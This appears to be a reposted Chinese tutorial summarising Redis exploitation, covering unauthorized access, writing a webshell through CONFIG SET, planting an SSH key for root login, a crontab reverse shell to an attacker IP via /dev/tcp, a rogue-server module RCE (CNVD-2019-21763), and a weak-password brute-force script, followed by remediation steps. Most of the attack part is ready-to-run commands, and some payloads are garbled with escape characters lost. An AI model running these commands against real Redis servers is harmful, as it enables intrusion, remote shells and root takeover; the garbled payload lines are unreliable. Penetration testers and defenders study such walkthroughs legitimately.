栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Redis漏洞利用总结

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Redis漏洞利用总结

redis漏洞利用
  • 前言
  • 一、redis未授权访问漏洞
    • 0x01 漏洞描述
    • 0x02 影响范围
    • 0x03 环境搭建
    • 0x03 漏洞利用
      • 探测漏洞
      • 未授权登录
      • 3.1 利用redis写webshell
        • 利用前提
        • 利用方法
      • 3.2 利用“公私钥” 认证获取root权限
        • 利用方法
      • 3.3 利用crontab反弹shell
        • 利用方法
    • 0x04 漏洞修复
  • 测试是否存在未授权或弱口令的脚本
  • 二 、redis 远程命令执行漏洞 (CNVD-2019-21763)
    • 0x01 漏洞描述
    • 0x02 影响范围
    • 0x03 漏洞利用
    • 0x04 漏洞修复

前言

redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。Redis默认使用 6379 端口。

一、redis未授权访问漏洞 0x01 漏洞描述

描述: Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。 Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

0x02 影响范围

Redis <= 5.0.5

0x03 环境搭建

第一种
redis各个版本下载

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
解压  tar -zxvf redis-2.8.17.tar.gz
cd redis-2.8.17/
make
cd src
./redis-cli -h

第二种 直接docker启用

0x03 漏洞利用 探测漏洞
nmap -sV -p 6379 -script redis-info 192.168.1.1

未授权登录

上边nmap探测出6379对外网开放 允许所有地址访问
直接用linux redis客户端连接

redis-cli -h 192.168.67.4


redis操作命令

info  #查看redis的信息和服务器信息
flushall 删除所有数据
del key  删除键为key的数据
get key  获得参数key的数据
3.1 利用redis写webshell 利用前提

1、目标机redis连接未授权
redis-cli -h 目标ip 连接成功
keys * 未启用认证
2、开启web服务 知道网站路径 如利用phpinfo 得知 或错误爆破路径得知 还需具有文件增删查改权限

利用方法

连接成功后 输入以下指令

config set dir /var/www/html
config set dbfilename redis.php
set webshell ""
或者
set x "rnrnrnrn"
save


连接成功

当数据库过大时,redis写shell的小技巧:

');

exit();
?>

3.2 利用“公私钥” 认证获取root权限

当redis以root身份运行,可以给root账户写入ssh公钥权限,直接通过ssh登录服务器。
靶机中开启redis服务 redis-server /etc/redis.conf
在靶机中执行 mkdir /root/.ssh命令 创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

利用方法

在攻击机中申生成ssh公钥和私钥,密码设为空

ssh-keygen -t rsa
进入.ssh目录:cd .ssh/ 将生成的公钥保存到1.txt
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt
cat 1.txt | redis-cli -h 192.168.157.129 -x set crack
redis-cli -h 192.168.157.129
config set dir /root/.ssh       #	更改redis备份路径为ssh公钥存放目录(一般为/root/.ssh)
config set dbfilename authorized_keys  #设置上传公钥的备份文件名字为authorized_key s
config get dbfilename #检查是否更改成功 
save      #保存 
exit       #退出
ssh -i id_rsa root@192.168.157.129   #在攻击机上使用ssh免密登录靶机

连接成功

3.3 利用crontab反弹shell

在权限足够的情况下,利用redis写入文件到计划任务目录下执行

利用方法

端口监听
在攻击者服务器上监听一个端口(未被占用的任意端口)

nc -lvnp 9897

攻击详情

连接redis,写入反弹shell

redis-cli -h 192.168.157.129
config set dir /var/spool/cron
config set dbfilename root
set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.157.137/9897 0>&1nn"
save

在靶机上 看到 写入成功

过一分钟左右可以收到shell

0x04 漏洞修复

1、禁止公网访问redis服务端口
2、禁止使用root权限启动redis服务
3、配置安全组,限制可连接redis服务器的ip。
4、redis.conf中修改配置
把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。
5、设置密码redis.conf
requirepass 修改如下
requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
命令如下:
redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
keys * //输出服务器中的所有key
报错如下
(error) ERR operation not permitted

这时候你可以用授权命令进行授权,就不报错了

命令如下:
auth youpassword

测试是否存在未授权或弱口令的脚本

或者直接用nmap -script redis-info

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFOrn")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"存在未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %srn" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception as e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)
二 、redis 远程命令执行漏洞 (CNVD-2019-21763) 0x01 漏洞描述

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

描述: Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

0x02 影响范围

Redis 2.x,3.x,4.x,5.x

0x03 漏洞利用

使用如下POC即可直接执行命令https://github.com/vulhub/redis-rogue-getshell:

nc -lvvp 9897

python3 redis-rogue-server.py --rhost 118.193.36.37 --rport 33971 --lhost 119.29.67.4 --lport 8080
r          #反弹shell  r       直接交互i 
ip         # 反弹ip
9897        #监听端口

0x04 漏洞修复

1、禁止外部访问Redis 服务端口;

2、禁止使用root权限启动Redis服务;

3、配置安全组,限制可连接Redis服务器的IP。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/361083.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号